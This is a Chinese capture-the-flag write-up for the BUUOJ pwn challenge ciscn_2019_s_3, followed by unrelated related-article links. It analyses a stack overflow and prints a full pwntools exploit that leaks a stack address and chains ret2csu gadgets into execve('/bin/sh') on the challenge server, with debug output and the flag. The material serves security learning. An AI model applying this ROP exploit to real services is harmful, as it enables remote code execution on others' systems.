CTF buuoj pwn-----第12题: ciscn_2019_s_3
CTF buuoj pwn-----第12题: ciscn_2019_s_3
- 1. 查看基本信息
- 2. 函数分析
- 3. 编写exp
- 4. 运行exp,获取flag
- 小结
1. 查看基本信息
- file:
bing@bing-virtual-machine:~$ file ./ciscn_s_3
./ciscn_s_3: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32,
BuildID[sha1]=af580816080db5e4d1d93a271087adaee29028e8, not stripped
- checksec:
bing@bing-virtual-machine:~$ checksec ./ciscn_s_3
[*] '/home/bing/ciscn_s_3'Arch: amd64-64-littleRELRO: Partial RELROStack: No canary foundNX: NX enabledPIE: No PIE (0x400000)
2. 函数分析
- main函数啥也没有,
- vuln函数:两个系统调用函数,buf只有16大小,栈溢出
- read(),write()的 原型:
- read():ssizet read(int fd,const void *buf,sizet nbytes); //fd 为要读取的文件的描述符 0//buf 为要读取的数据的缓冲区地址//nbytes 为要读取的数据的字节数 read() 函数会从 fd
文件中读取 nbytes 个字节并保存到缓冲区 buf,//成功则返回读取到的字节数(但遇到文件结尾则返回0),失败则返回 -1。- write()ssizet write(int fd,const void *buf,sizet nbytes); //fd 为要写入的文件的描述符 1//buf 为要写入的数据的缓冲区地址//nbytes 为要写入的数据的字节数 write() 函数会将缓冲区
buf 中的 nbytes 个字节写入文件 fd,//成功则返回写入的字节数,失败则返回 -1。
值得注意的是,vuln的汇编代码为:没有sub rsp ;没有leave
gadget函数:
mov rax, 3Bh ; 系统调用号3b(59),execve(‘bin/sh’, 0, 0)
3. 编写exp
payload_1 = b’/bin/sh\x00’ + b’a’*0x8 + p64(main_addr)
vuln的汇编代码中:
.text:0000000000400517 系统调用之后,
.text:0000000000400519 就是retn ,没有leave,而且.text:00000000004004EE 后面也没有sub rsp,所有一直有rsp==rbp,所以:
构造payload_1时, payload_1=b’/bin/sh\x00’ + b’a’*0x8 + p64(main_addr),16个字符后面直接就是 返回地址 main_addr),这里的 b’a’*0x8 不是往常的rbp地址,还是合法的栈上空间。payload_2的栈帧分析:
from pwn import *sh = remote('node4.buuoj.cn', 27939)
context(arch='amd64',os='linux', log_level='debug')main_addr= 0x4004ED # 这里其实是vuln的地址, main地址会错:timeout: the monitored command dumped core
payload_1 = b'/bin/sh\x00' + b'a'*0x8 + p64(main_addr)sh.sendline(payload_1)
sh.recv(0x20)
stack_addr = u64(sh.recv(8))
bin_sh_addr = stack_addr - 0x118 # 本地gdb调试的时候是0x128,但是远程必须0x118才能打通。??
print(hex(bin_sh_addr))execv_addr = 0x04004E2 # gadgets函数: mov rax, 59 系统调用号59 作用是给syscall一个参数rax=59
mov_rdx_r13 = 0x400580 # _libc_csu_init() 函数通用的指令
pop_rbx_rbp_r12_r13_r14_r15_addr = 0x40059A # _libc_csu_init() 函数通用的指令
pop_rdi_addr=0x4005a3 # pop rdi ROPgadget得到的
syscall_addr = 0x400517 # 这里是调用syscall (read)指令的地址;也可以用syscall(write)的地址:0x400517payload_2 = b'/bin/sh\x00' + b'a'*8 + p64(pop_rbx_rbp_r12_r13_r14_r15_addr) + p64(0)*2 + p64(bin_sh_addr+0x50) +p64(0)*3+ p64(mov_rdx_r13)+p64(execv_addr)+p64(pop_rdi_addr)+p64(bin_sh_addr)+p64(syscall_addr)sh.sendline(payload_2)
sh.interactive()
4. 运行exp,获取flag
bing@bing-virtual-machine:~$ python3 ./ciscn_s_3.py
[+] Opening connection to node4.buuoj.cn on port 27939: Done
[DEBUG] Sent 0x19 bytes:00000000 2f 62 69 6e 2f 73 68 00 61 61 61 61 61 61 61 61 │/bin│/sh·│aaaa│aaaa│00000010 ed 04 40 00 00 00 00 00 0a │··@·│····│·│00000019
[DEBUG] Received 0x30 bytes:00000000 2f 62 69 6e 2f 73 68 00 61 61 61 61 61 61 61 61 │/bin│/sh·│aaaa│aaaa│00000010 ed 04 40 00 00 00 00 00 0a 05 40 00 00 00 00 00 │··@·│····│··@·│····│00000020 48 05 81 00 fd 7f 00 00 00 00 00 00 01 00 00 00 │H···│····│····│····│00000030
0x7ffd00810430
[DEBUG] Sent 0x71 bytes:00000000 2f 62 69 6e 2f 73 68 00 61 61 61 61 61 61 61 61 │/bin│/sh·│aaaa│aaaa│00000010 9a 05 40 00 00 00 00 00 00 00 00 00 00 00 00 00 │··@·│····│····│····│00000020 00 00 00 00 00 00 00 00 80 04 81 00 fd 7f 00 00 │····│····│····│····│00000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│00000040 00 00 00 00 00 00 00 00 80 05 40 00 00 00 00 00 │····│····│··@·│····│00000050 e2 04 40 00 00 00 00 00 a3 05 40 00 00 00 00 00 │··@·│····│··@·│····│00000060 30 04 81 00 fd 7f 00 00 17 05 40 00 00 00 00 00 │0···│····│··@·│····│00000070 0a │·│00000071
[*] Switching to interactive mode
\x00\x00\x00\x00[DEBUG] Received 0x30 bytes:00000000 2f 62 69 6e 2f 73 68 00 61 61 61 61 61 61 61 61 │/bin│/sh·│aaaa│aaaa│00000010 9a 05 40 00 00 00 00 00 00 00 00 00 00 00 00 00 │··@·│····│····│····│00000020 00 00 00 00 00 00 00 00 80 04 81 00 fd 7f 00 00 │····│····│····│····│00000030
/bin/sh\x00aaaaaaa\x9a\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x7f\x00
$ cat flag
[DEBUG] Sent 0x9 bytes:b'cat flag\n'
[DEBUG] Received 0x2b bytes:b'flag{6acec18c-2ec1-4082-bb18-4f1db3d7b30b}\n'
flag{6acec18c-2ec1-4082-bb18-4f1db3d7b30b}
flag{6acec18c-2ec1-4082-bb18-4f1db3d7b30b}
小结
syscall
- 传参方式:
- 32位:传参方式:首先将系统调用号 传入 eax,然后将参数 从左到右 依次存入 ebx,ecx,edx寄存器中,返回值存在eax寄存器调用号: sysread 的调用号 为 3 syswrite 的调用号 为 4 。调用方式: 使用 int 80h 中断进行系统调用
- 64位:传参方式:首先将系统调用号 传入 rax,然后将参数 从左到右 依次存入 rdi,rsi,rdx寄存器中,返回值存在rax寄存器调用号:sysread 的调用号 为 0 syswrite 的调用号 为 1 stubexecve 的调用号 为 59 stubrt_sigreturn 的调用号 为 15。调用方式: 使用 syscall 进行系统调用
- 传参方式:
本题目依然有疑惑,payload_2 = b’/bin/sh\x00’ + b’a’*8 + p64(pop_rbx_rbp_r12_r13_r14_r15_addr) + p64(0)*2 + p64(bin_sh_addr+0x50)
- bin_sh_addr+0x50 这里为什么要加0x50????
- bin_sh_addr = stack_addr - 0x118 # 本地gdb调试的时候是0x128,但是远程必须0x118才能打通。
CTF buuoj pwn-----第12题: ciscn_2019_s_3相关推荐
- 记一次院赛CTF的Pwn和Misc题(入门)
目录 Pwn easy pwn 莽撞人 反向读取 Misc drop the beats 拼东东 消失的50px Pwn 见到别的比赛的pwn题才幡然醒悟,已经没有比这些更简单的pwn题了. easy ...
- CTF比赛PWN题sgtlibc通用快速解题框架
CTF比赛PWN题sgtlibc通用快速解题框架 安装 开源地址:https://github.com/serfend/sgtlibc 使用 pip install sgtlibc -U 安装pwn解 ...
- CTF|pwn栈溢出入门题level3解题思路及个人总结
CTF|pwn栈溢出入门题level3解题思路及个人总结 解题思路 拿到题目将文件下载下来拖入ubuntu 发现这一次的文件比较特殊:是一个linux环境下的压缩包,自然而然想到的是解压它 通过命令行 ...
- [BUUCTF-pwn]——[第六章 CTF之PWN章]stack
[BUUCTF-pwn]--[第六章 CTF之PWN章]stack 题目地址: https://buuoj.cn/challenges#[%E7%AC%AC%E5%85%AD%E7%AB%A0%20C ...
- buuctf-N1Book[第六章 CTF之PWN章]
第六章 CTF之PWN章 1.stack 64位,开启了NX保护 shift + F12查看里面的字符串 发现自带system和bin/sh的地址 bin_sh = 0x400537 gets函数对输 ...
- CTF中pwn的入门指南
CTF中pwn的入门指南 pwn简介: CTF中的pwn指的是通过通过程序本身的漏洞,编写利用脚本破解程序拿到主机的权限,这就需要对程序进行分析,了解操作系统的特性和相关漏洞,是是一个难度比较大的分支 ...
- [GO语言基础] 三.变量声明、数据类型、标识符及编程练习12题
作为网络安全初学者,会遇到采用Go语言开发的恶意样本.因此从今天开始从零讲解Golang编程语言,一方面是督促自己不断前行且学习新知识:另一方面是分享与读者,希望大家一起进步.前文介绍了Go的编译运行 ...
- c语言拔河分组回溯算法,【阅读下面的文字,完成10—12题。文明的共相回溯我们历史演-查字典问答网...
阅读下面的文字,完成10-12题. 文明的共相 回溯我们历史演变的经验,有两条最重要:一是传统不能割断,二是世界不能脱离.清代的问题,就是它与世界相脱离,闭上了对外交往的大门.近30年以来作为基本国策 ...
- 2021-06-24CTF-攻防世界-WEB新手练习区(12题入门题)
CTF-攻防世界-WEB新手练习区(12题入门题) 01-view_source 02-robots 03-backup 04-cookie 05-disabled_button 06-weak_au ...
最新文章
- linux 替换文件中某个字符串_word中如何删除包含某个特定字符串的整个段落?...
- 1小时学会:最简单的iOS直播推流(五)yuv、pcm数据的介绍和获取
- iOS之coreData
- css 块元素、内联元素、内联块元素
- python的pygame库使用方法_python基础教程使用Python第三方库pygame写个贪吃蛇小游戏...
- Google开源的操作系统Fuchsia,专为大内存硬件设计
- 【Android容器组件—AdapterView】
- AR路由器ETH端口使用方法
- 【Mockplus教程】安装Mockplus
- 如何查找各个手机放序列号
- 普特南数学竞赛的经验
- 论文Time-Series Event Prediction with Evolutionary State Graph笔记
- bzoj1753[Usaco2005 qua]Who's in the Middle*
- Ruby_01_环境安装
- 昆石VOS2009/VOS3000 2.1.6.00 Web接口说明书
- SOLIDWORKS motion如何进行运动仿真
- 苹果ppt_惊艳!苹果发布会最爱用的PPT动画,居然这么简单
- 什么是电力物联网?为什么要建造电力物联网云平台?——安科瑞 严新亚
- Mybatis新增数据后,报ERROR: Field * doesn‘t have a default value
- 2020.4.23工作记录————Regsvr32加载控件失败:“请确保该二进制存储在指定路径中。。。”